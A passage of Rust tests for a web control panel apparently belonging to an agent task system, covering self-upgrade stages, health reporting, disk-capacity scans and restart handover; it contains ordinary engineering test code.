23277 .unwrap();
23278 let progress = updater::read_progress(home.path()).unwrap();
23279 assert_eq!(progress.stage, updater::Stage::Failed);
23280 assert_eq!(
23281 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23282 .await
23283 .status(),
23284 StatusCode::NO_CONTENT
23285 );
23286 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23288 assert_eq!(
23289 finish_upgrade_request(&ui, result).status(),
23290 StatusCode::ACCEPTED
23291 );
23292 assert_eq!(
23293 updater::read_progress(home.path()).unwrap().trigger,
23294 updater::UpgradeTrigger::Manual
23295 );
23296 tokio::time::timeout(Duration::from_secs(2), async {
23297 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23298 tokio::task::yield_now().await;
23299 }
23300 })
23301 .await
23302 .unwrap();
23303 }
23304
23305 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23306 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23307 p.stage = stage;
23308 p
23309 }
23310
23311 #[test]
23312 fn busy_stages_match_the_ui_set() {
23313 use crate::updater::Stage;
23314 assert!(APP_JS.contains(
23315 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23316 ));
23317 for s in [
23318 Stage::Downloading,
23319 Stage::Replaced,
23320 Stage::Parking,
23321 Stage::Restarting,
23322 ] {
23323 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23324 }
23325 for s in [Stage::Done, Stage::Failed] {
23326 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23327 }
23328 assert!(upgrade_in_motion(None).is_none());
23329 }
23330
23331 #[tokio::test]
23332 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23333 use crate::updater::Stage;
23334 for stage in [
23335 Stage::Downloading,
23336 Stage::Replaced,
23337 Stage::Parking,
23338 Stage::Restarting,
23339 ] {
23340 let fx = Fixture::start().await;
23341 let seeded = seeded_progress(stage);
23342 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23343 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23344 .expect("read");
23345
23346 let res = fx.post("/api/upgrade", None).await;
23347 assert_eq!(res.status, 409, "{stage:?}");
23348 let err = res.json()["error"].as_str().unwrap().to_owned();
23349 assert!(err.contains("already in progress"), "{err}");
23350 assert!(err.contains(stage.as_str()), "{err}");
23351
23352 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23353 .expect("read");
23354 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23355 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23356 .unwrap_or_default();
23357 assert!(!log.contains("signalling HANDOVER"), "{log}");
23358 }
23359 }
23360
23361 #[test]
23362 fn upgrade_retry_timing_only_parses_known_diagnostics() {
23363 assert_eq!(
23364 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23365 Some(3723)
23366 );
23367 assert_eq!(
23368 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23369 Some(60)
23370 );
23371 assert_eq!(
23372 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23373 Some(0)
23374 );
23375 for message in [
23376 "permission denied",
23377 "GitHub API rate limit exceeded",
23378 "GitHub rate limit (resets in unknown)",
23379 "GitHub rate limit (resets in 18446744073709551615d)",
23380 ] {
23381 assert_eq!(upgrade_retry_after(message), None, "{message}");
23382 }
23383 }
23384
23385 #[tokio::test]
23386 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23387 let home = TempDir::new().unwrap();
23388 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23389 ui.start_loop(None).unwrap();
23390 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23391 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23392 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23393 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23394 let response = finish_upgrade_request(&ui, result);
23395 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23396 assert_eq!(response.headers()["retry-after"], "120");
23397 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23398 .await
23399 .unwrap();
23400 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23401 assert!(body["error"].as_str().unwrap().contains(reason));
23402 assert_eq!(body["retry_after_secs"], 120);
23403 assert!(body["retry_at"].as_u64().is_some());
23404 for _ in 0..2 {
23405 let view = health(State(ui.clone())).await.unwrap().0;
23406 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23407 assert_eq!(failure, body);
23408 }
23409 assert_eq!(
23410 std::fs::read(updater::progress_path(home.path())).unwrap(),
23411 before
23412 );
23413 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23414 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23415 let gate = ui.upgrade_gate.lock().await;
23417 assert_eq!(
23418 upgrade_post(State(ui.clone())).await.status(),
23419 StatusCode::CONFLICT
23420 );
23421 drop(gate);
23422 assert!(
23423 health(State(ui.clone()))
23424 .await
23425 .unwrap()
23426 .0
23427 .upgrade_request_error
23428 .is_some()
23429 );
23430 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23431 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23432 assert!(
23433 health(State(ui.clone()))
23434 .await
23435 .unwrap()
23436 .0
23437 .upgrade_request_error
23438 .is_none()
23439 );
23440 let live = ui.lock_loop().live.take().unwrap();
23441 live.stop.stop();
23442 live.handle.await.unwrap();
23443 }
23444
23445 #[tokio::test]
23446 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23447 use crate::updater::Stage;
23448 let repo = TempDir::new().expect("repo dir");
23449 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23450 .expect("write magi.toml");
23451 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23452 for stage in [Stage::Done, Stage::Failed] {
23453 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23454 let res = fx.post("/api/upgrade", None).await;
23455 assert_eq!(res.status, 200, "{stage:?}");
23456 }
23457 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23459 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23460 }
23461
23462 #[tokio::test]
23463 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23464 let repo = TempDir::new().expect("repo dir");
23480 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23481 .expect("write magi.toml");
23482 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23483
23484 let res = fx.post("/api/upgrade", None).await;
23490 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23491 let body = res.json();
23492 assert!(body["to"].is_null(), "there was no release to move to");
23493 assert!(body["parked"].is_null(), "and nothing was parked");
23494 assert!(
23495 body["detail"]
23496 .as_str()
23497 .unwrap()
23498 .contains("nothing restarted"),
23499 "{body:?}"
23500 );
23501 }
23502
23503 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23504 tokio::time::timeout(Duration::from_secs(5), async {
23505 while state.lock().unwrap().in_flight {
23506 tokio::task::yield_now().await;
23507 }
23508 })
23509 .await
23510 .expect("capacity scan finished");
23511 }
23512
23513 fn disk_test_scope(home: &FsPath) -> DiskScope {
23514 DiskScope {
23515 runs: home.join("runs"),
23516 worktrees: home.join("worktrees"),
23517 cache: Some(home.join("cache")),
23518 }
23519 }
23520
23521 fn known_disk_capacity() -> DiskCapacity {
23522 DiskCapacity {
23523 free_bytes: Some(100),
23524 runs_bytes: Some(200),
23525 worktrees_bytes: Some(300),
23526 cache_bytes: Some(400),
23527 }
23528 }
23529
23530 #[tokio::test]
23531 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23532 let home = TempDir::new().unwrap();
23533 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23534 let mut ui = delta_test_ui(home.path());
23535 let state = Arc::get_mut(&mut ui).unwrap();
23536 state.repo = home.path().to_owned();
23537 state.worktrees_root = home.path().join("worktrees");
23538 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23539 ui.monitor
23540 .worker_started
23541 .store(true, std::sync::atomic::Ordering::SeqCst);
23542 let cfg = deputy_config(&ui.repo);
23543 let scope = DiskScope::of(&ui, cfg.as_ref());
23544 let (started, reached) = tokio::sync::oneshot::channel();
23545 let (release, blocked) = std::sync::mpsc::channel();
23546 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23547 started.send(()).unwrap();
23548 blocked.recv().unwrap();
23549 known_disk_capacity()
23550 });
23551 assert!(cold.runs_bytes.is_none());
23552 tokio::time::timeout(Duration::from_secs(5), reached)
23553 .await
23554 .unwrap()
23555 .unwrap();
23556
23557 let requests: Vec<_> = (0..4)
23558 .map(|_| {
23559 let ui = ui.clone();
23560 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23561 })
23562 .collect();
23563 tokio::time::timeout(Duration::from_secs(5), async {
23564 for request in requests {
23565 let view = request.await.unwrap();
23566 let disk = serde_json::to_value(view.disk).unwrap();
23567 assert!(disk["runs_bytes"].is_null());
23568 assert!(disk["worktrees_bytes"].is_null());
23569 assert!(disk["free_bytes"].is_u64());
23572 }
23573 })
23574 .await
23575 .expect("health must return while the measurement is causally blocked");
23576 assert!(ui.monitor.disk.lock().unwrap().in_flight);
23577 assert!(
23579 ui.monitor
23580 .disk
23581 .lock()
23582 .unwrap()
23583 .capacity
23584 .runs_bytes
23585 .is_none()
23586 );
23587 release.send(()).unwrap();
23588 wait_for_disk_scan(&ui.monitor.disk).await;
23589 assert_eq!(
23590 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23591 Some(200)
23592 );
23593 }
23594
23595 #[tokio::test]
23596 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23597 let home = TempDir::new().unwrap();
23598 let scope = disk_test_scope(home.path());
23599 let state = Arc::new(Mutex::new(DiskObservation {
23600 scope: Some(scope.clone()),
23601 capacity: known_disk_capacity(),
23602 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23603 ..Default::default()
23604 }));
23605 let (started, reached) = tokio::sync::oneshot::channel();
23606 let (release, blocked) = std::sync::mpsc::channel();
23607 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23608 started.send(()).unwrap();
23609 blocked.recv().unwrap();
23610 DiskCapacity {
23611 runs_bytes: Some(250),
23612 ..Default::default()
23613 }
23614 });
23615 assert_eq!(before.cache_bytes, Some(400));
23616 tokio::time::timeout(Duration::from_secs(5), reached)
23617 .await
23618 .unwrap()
23619 .unwrap();
23620 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23621 for _ in 0..4 {
23622 let scans = duplicate_scans.clone();
23623 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23624 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23625 DiskCapacity::default()
23626 });
23627 assert_eq!(during.runs_bytes, Some(200));
23628 assert_eq!(during.cache_bytes, Some(400));
23629 }
23630 release.send(()).unwrap();
23631 wait_for_disk_scan(&state).await;
23632 let scans = duplicate_scans.clone();
23633 let after = DiskObservation::observe(&state, scope, move |_| {
23634 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23635 DiskCapacity::default()
23636 });
23637 wait_for_disk_scan(&state).await;
23638 assert_eq!(after.runs_bytes, Some(250));
23639 assert_eq!(after.free_bytes, Some(100));
23640 assert_eq!(after.cache_bytes, Some(400));
23641 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23642 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23643 }
23644
23645 #[tokio::test]
23646 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23647 let home = TempDir::new().unwrap();
23648 let old_scope = disk_test_scope(home.path());
23649 let mut new_scope = old_scope.clone();
23650 new_scope.cache = Some(home.path().join("replacement-cache"));
23651 let state = Arc::new(Mutex::new(DiskObservation {
23652 scope: Some(old_scope.clone()),
23653 capacity: known_disk_capacity(),
23654 ..Default::default()
23655 }));
23656 let (started, reached) = tokio::sync::oneshot::channel();
23657 let (release, blocked) = std::sync::mpsc::channel();
23658 DiskObservation::observe(&state, old_scope, move |_| {
23659 started.send(()).unwrap();
23660 blocked.recv().unwrap();
23661 known_disk_capacity()
23662 });
23663 tokio::time::timeout(Duration::from_secs(5), reached)
23664 .await
23665 .unwrap()
23666 .unwrap();
23667 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23668 let scans = duplicate_scans.clone();
23669 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23670 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23671 DiskCapacity::default()
23672 });
23673 assert!(changed.cache_bytes.is_none());
23674 assert!(changed.runs_bytes.is_none());
23675 release.send(()).unwrap();
23676 wait_for_disk_scan(&state).await;
23677 {
23678 let observation = state.lock().unwrap();
23679 assert!(observation.capacity.cache_bytes.is_none());
23680 assert!(observation.finished.is_none());
23681 }
23682 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23683 assert_eq!(scope, &new_scope);
23684 DiskCapacity {
23685 cache_bytes: Some(999),
23686 ..Default::default()
23687 }
23688 });
23689 wait_for_disk_scan(&state).await;
23690 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23691 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23692 }
23693
23694 #[tokio::test]
23695 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23696 let home = TempDir::new().unwrap();
23697 let scope = disk_test_scope(home.path());
23698 let state = Arc::new(Mutex::new(DiskObservation {
23699 scope: Some(scope.clone()),
23700 capacity: known_disk_capacity(),
23701 ..Default::default()
23702 }));
23703 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23704 wait_for_disk_scan(&state).await;
23705 {
23706 let mut observation = state.lock().unwrap();
23707 assert_eq!(observation.capacity.cache_bytes, Some(400));
23708 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23709 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23710 }
23711 DiskObservation::observe(&state, scope, |_| DiskCapacity {
23712 cache_bytes: Some(450),
23713 ..Default::default()
23714 });
23715 wait_for_disk_scan(&state).await;
23716 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23717 }
23718
23719 #[test]
23720 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23721 let home = TempDir::new().unwrap();
23722 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23723 assert_eq!(disk_capacity_size(home.path()), Some(0));
23724 std::fs::create_dir(home.path().join("nested")).unwrap();
23725 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23726 assert_eq!(disk_capacity_size(home.path()), Some(5));
23727 #[cfg(unix)]
23728 {
23729 assert_eq!(
23731 disk_capacity_size(&home.path().join("nested/data/child")),
23732 None
23733 );
23734 }
23735 #[cfg(unix)]
23736 {
23737 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23738 assert_eq!(disk_capacity_size(home.path()), Some(5));
23739 }
23740 }
23741
23742 #[tokio::test]
23743 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23744 let repo = TempDir::new().expect("repo dir");
23749 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23750 .expect("write magi.toml");
23751 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23752
23753 let health = fx.get("/api/health").await.json();
23754 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23755 assert_eq!(
23756 health["update"]["available"], false,
23757 "checking is off, which reads as \"unknown\", not \"none\""
23758 );
23759 assert!(health["update"]["to"].is_null());
23760 assert!(
23761 health["upgrade"].is_null(),
23762 "nothing has ever asked this deck to upgrade"
23763 );
23764 }
23765
23766 #[tokio::test]
23767 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23768 let fx = Fixture::start().await;
23769 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23770
23771 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23772 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23773 progress.advance(crate::updater::Stage::Parking);
23774 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23775
23776 let health = fx.get("/api/health").await.json();
23777 assert_eq!(health["upgrade"]["stage"], "parking");
23778 assert_eq!(health["upgrade"]["from"], "0.5.1");
23779 assert_eq!(health["upgrade"]["to"], "0.5.2");
23780 let waiting_on = health["upgrade"]["waiting_on"]
23781 .as_str()
23782 .expect("waiting_on is set while parking a known run");
23783 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23784 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23785 }
23786
23787 #[tokio::test]
23788 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23789 let fx = Fixture::start().await;
23790 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23791 progress.advance(crate::updater::Stage::Done);
23792 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23793
23794 let health = fx.get("/api/health").await.json();
23795 assert_eq!(health["upgrade"]["stage"], "done");
23796 assert!(
23797 health["upgrade"]["waiting_on"].is_null(),
23798 "nothing to wait on once it is done"
23799 );
23800 }
23801
23802 #[tokio::test]
23805 async fn the_handover_signal_wakes_one_waiter_once() {
23806 let signal = Notify::new();
23807 signal.notify_one();
23809 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23810 .await
23811 .expect("an early signal is still seen");
23812 assert!(
23814 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23815 .await
23816 .is_err(),
23817 "a consumed signal must not wake a second time"
23818 );
23819 let signal = std::sync::Arc::new(signal);
23821 let waiter = tokio::spawn({
23822 let signal = std::sync::Arc::clone(&signal);
23823 async move { wait_for_handover(&signal).await }
23824 });
23825 tokio::time::sleep(Duration::from_millis(20)).await;
23826 assert!(!waiter.is_finished(), "nothing was signalled yet");
23827 signal.notify_one();
23828 tokio::time::timeout(Duration::from_secs(5), waiter)
23829 .await
23830 .expect("a late signal wakes the waiter")
23831 .expect("join");
23832 }
23833
23834 #[tokio::test]
23835 async fn health_says_how_long_a_handover_has_been_stuck() {
23836 let fx = Fixture::start().await;
23837 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23838 progress.advance(crate::updater::Stage::Replaced);
23839 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23840 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23841
23842 let health = fx.get("/api/health").await.json();
23843 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23844 assert!(stuck >= 600, "{stuck}");
23845 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23846 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23847 }
23848
23849 #[tokio::test]
23850 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23851 let home = tempfile::tempdir().expect("temp home");
23852 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23853 progress.advance(crate::updater::Stage::Parking);
23854 crate::updater::write_progress(home.path(), &progress).expect("seed");
23855 let mut again = progress.clone();
23857 again.advance(crate::updater::Stage::Replaced);
23858 crate::updater::write_progress(home.path(), &again).expect("replaced");
23859 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23860 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23861 let after = crate::updater::read_progress(home.path()).expect("record");
23862 assert_eq!(after.stage, crate::updater::Stage::Parking);
23863 }
23864
23865 #[tokio::test]
23866 async fn health_does_not_call_a_live_parking_wait_stuck() {
23867 let fx = Fixture::start().await;
23868 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23869 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23870 progress.advance(crate::updater::Stage::Parking);
23871 let hours = Duration::from_secs(3 * 3600);
23872 progress.started_at = Timestamp::now() - hours;
23873 progress.updated_at = Timestamp::now() - hours;
23874 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23875 let _lease = crate::updater::LeaseGuard::enter(
23876 fx.home.path(),
23877 Some("20260905-000000-cd51".to_owned()),
23878 );
23879
23880 let health = fx.get("/api/health").await.json();
23881 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23882 assert!(health["upgrade"]["stuck_kind"].is_null());
23883 assert_eq!(health["upgrade"]["handover_alive"], true);
23884 let waiting_on = health["upgrade"]["waiting_on"]
23885 .as_str()
23886 .expect("waiting_on");
23887 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23888 }
23889
23890 fn idle_ui(home: &TempDir) -> Ui {
23891 let runs = home.path().join("runs");
23892 std::fs::create_dir_all(&runs).expect("runs dir");
23893 Ui::new(
23894 Queue::at(home.path().join("queue")),
23895 Questions::at(home.path().join("questions")),
23896 Talks::at(home.path().join("talks")),
23897 runs,
23898 home.path().to_path_buf(),
23899 PathBuf::from("/repo/magi"),
23900 )
23901 .with_launch(launch_idle)
23902 }
23903
23904 #[tokio::test]
23905 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23906 let home = TempDir::new().expect("temp home");
23907 let ui = idle_ui(&home);
23908 let lease = crate::worker::try_lease(home.path(), "scheduler")
23909 .expect("scheduler lease")
23910 .expect("free");
23911 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23912 .expect("request stop");
23913 let error = ui
23914 .start_detached_loop()
23915 .await
23916 .expect_err("transition is still live");
23917 assert_eq!(error.status, StatusCode::CONFLICT);
23918 assert!(error.message.contains("still running or stopping"));
23919 assert_eq!(
23920 crate::worker::control(home.path(), "scheduler").unwrap(),
23921 Some(crate::worker::Control::Stop)
23922 );
23923 drop(lease);
23924 }
23925
23926 #[tokio::test]
23927 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23928 let home = TempDir::new().expect("temp home");
23929 let ui = idle_ui(&home);
23930 let turns = ui
23931 .begin_talk_turn("active-chat")
23932 .expect("claim")
23933 .expect("free");
23934 let execution = crate::worker::try_lease(home.path(), "active-task")
23935 .expect("execution lease")
23936 .expect("free");
23937 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23938 .await
23939 .expect("bind loopback");
23940 let address = listener.local_addr().expect("address");
23941 let admissions = Arc::clone(&ui.admissions);
23942 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23943 let successor_started = std::sync::atomic::AtomicBool::new(false);
23944 tokio::time::timeout(
23945 Duration::from_secs(2),
23946 hand_over(home.path(), &admissions, served, || {
23947 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23948 Ok(1)
23949 }),
23950 )
23951 .await
23952 .expect("restart must not wait for execution")
23953 .expect("handover");
23954 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23955 let successor = bind_waiting(address)
23958 .await
23959 .expect("successor binds released address");
23960 assert_eq!(successor.local_addr().unwrap(), address);
23961 assert!(turns.owns(), "the chat lease survives restart");
23962 assert!(
23963 crate::worker::try_lease(home.path(), "active-task")
23964 .unwrap()
23965 .is_none()
23966 );
23967 drop(execution);
23968 drop(turns);
23969 }
23970
23971 #[tokio::test]
23972 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23973 let home = TempDir::new().expect("temp home");
23974 let ui = idle_ui(&home);
23975 let admission = ui.begin_admission().expect("admit send");
23976 let turn = ui
23977 .begin_talk_turn("active-chat")
23978 .expect("claim")
23979 .expect("free");
23980 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23981 .await
23982 .expect("bind loopback");
23983 let address = listener.local_addr().expect("address");
23984 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23985 let successor_called = std::sync::atomic::AtomicBool::new(false);
23986 let handover = hand_over(home.path(), &ui.admissions, served, || {
23987 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23988 Ok(1)
23989 });
23990 tokio::pin!(handover);
23991 std::future::poll_fn(|cx| {
23994 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23995 std::task::Poll::Ready(())
23996 })
23997 .await;
23998 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23999 assert!(
24000 ui.begin_admission().is_err(),
24001 "new ingress cannot race the drain"
24002 );
24003 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24004 drop(admission);
24005 tokio::time::timeout(Duration::from_secs(2), handover)
24006 .await
24007 .expect("only publication may delay restart")
24008 .expect("handover");
24009 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24010 assert!(
24011 turn.owns(),
24012 "the detached chat turn is not awaited or cancelled"
24013 );
24014 assert!(
24015 ui.begin_admission().is_err(),
24016 "old accepted connections stay closed"
24017 );
24018 drop(turn);
24019 }
24020
24021 #[test]
24022 fn health_worker_metadata_never_contains_payload_or_result() {
24023 let view = WorkerView::from(crate::worker::Job {
24024 id: "job".into(),
24025 sequence: 1,
24026 kind: "service".into(),
24027 key: "maintenance".into(),
24028 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24029 generation: "generation".into(),
24030 version: Some("1.2.3".into()),
24031 status: crate::worker::Status::Running,
24032 result: Some("private diagnostics".into()),
24033 pid: Some(4242),
24034 created_at: 1,
24035 finished_at: None,
24036 });
24037 let value = serde_json::to_value(view).expect("serialize public metadata");
24038 assert_eq!(value["version"], "1.2.3");
24039 assert_eq!(value["pid"], 4242);
24040 assert!(value.get("payload").is_none());
24041 assert!(value.get("result").is_none());
24042 assert!(!value.to_string().contains("private"));
24043 }
24044
24045 #[test]
24046 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24047 let home = TempDir::new().expect("temp home");
24048 let ui = idle_ui(&home);
24049 std::fs::write(
24050 home.path().join("daemon.json"),
24051 serde_json::json!({
24052 "schema": 2, "pid": 4242, "worker_protocol": 1,
24053 "updated_at": Timestamp::now().to_string(), "idle": true,
24054 })
24055 .to_string(),
24056 )
24057 .expect("status");
24058 let reading = daemon::read_status(home.path());
24059 assert!(Foreign::of(reading.as_ref()).is_none());
24060 let view = ui.runtime_loop_view(reading, &[]);
24061 assert!(view.running);
24062 assert!(view.owned);
24063 }
24064
24065 #[test]
24066 fn only_an_explicit_one_requests_a_resume() {
24067 assert!(!resume_requested(None));
24068 assert!(!resume_requested(Some("0".into())));
24069 assert!(!resume_requested(Some("".into())));
24070 assert!(resume_requested(Some("1".into())));
24071 }
24072
24073 #[test]
24074 fn an_error_is_visible_from_where_the_button_is() {
24075 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24080 ..APP_CSS.find(".alert-text").expect(".alert-text")];
24081 assert!(
24082 alert.contains("position: fixed"),
24083 "an error about the thing under your thumb has to be visible from \
24084 where your thumb is: {alert}"
24085 );
24086 assert!(
24087 alert.contains("z-index: 25"),
24088 "above the dock (20) and the run-actions FAB (15), so neither \
24089 buries it: {alert}"
24090 );
24091 assert!(
24092 alert.contains("var(--tap)"),
24093 "and clear of the dock and the home indicator: {alert}"
24094 );
24095 assert!(
24098 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24099 "the FAB's column stays free: {alert}"
24100 );
24101 }
24102
24103 #[tokio::test]
24104 async fn an_older_attempt_says_what_replaced_it() {
24105 let fx = Fixture::start().await;
24106 let q = fx.queue();
24107 let runs = fx.runs();
24108 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24109 write_run(&runs, first, RunStatus::Stalled);
24110 write_run(&runs, second, RunStatus::Blocked);
24111
24112 let mut t = Task::new(
24113 "one task".to_owned(),
24114 "do it".to_owned(),
24115 PathBuf::from("/repo"),
24116 Source::Human,
24117 );
24118 t.runs = vec![first.to_owned(), second.to_owned()];
24119 q.put(&mut t).expect("put");
24120
24121 let rows = fx.get("/api/runs").await.json();
24125 let by = |short: &str| -> Value {
24126 rows.as_array()
24127 .unwrap()
24128 .iter()
24129 .find(|r| r["short"] == short)
24130 .cloned()
24131 .unwrap_or(Value::Null)
24132 };
24133 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24134 assert!(
24135 by("bbbb")["superseded_by"].is_null(),
24136 "the latest attempt is not superseded by anything"
24137 );
24138 assert!(APP_JS.contains("run.superseded_by"));
24140 assert!(APP_JS.contains("Superseded by"));
24141 }
24142
24143 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24144 let mut t = Task::new(
24145 "one task".to_owned(),
24146 "do it".to_owned(),
24147 PathBuf::from("/repo"),
24148 Source::Human,
24149 );
24150 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24151 t.status = status;
24152 t
24153 }
24154
24155 #[test]
24156 fn source_link_picks_the_page_that_filed_the_task() {
24157 let agent = |node: &str| Source::Agent {
24158 run: "20260904-014455-ab12".to_owned(),
24159 node: node.to_owned(),
24160 };
24161 let chat = source_link(&agent("chat")).expect("chat link");
24162 assert_eq!(chat.kind, "chat");
24163 assert_eq!(chat.id, "20260904-014455-ab12");
24164 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24165 let run = source_link(&agent("implement")).expect("run link");
24166 assert_eq!(
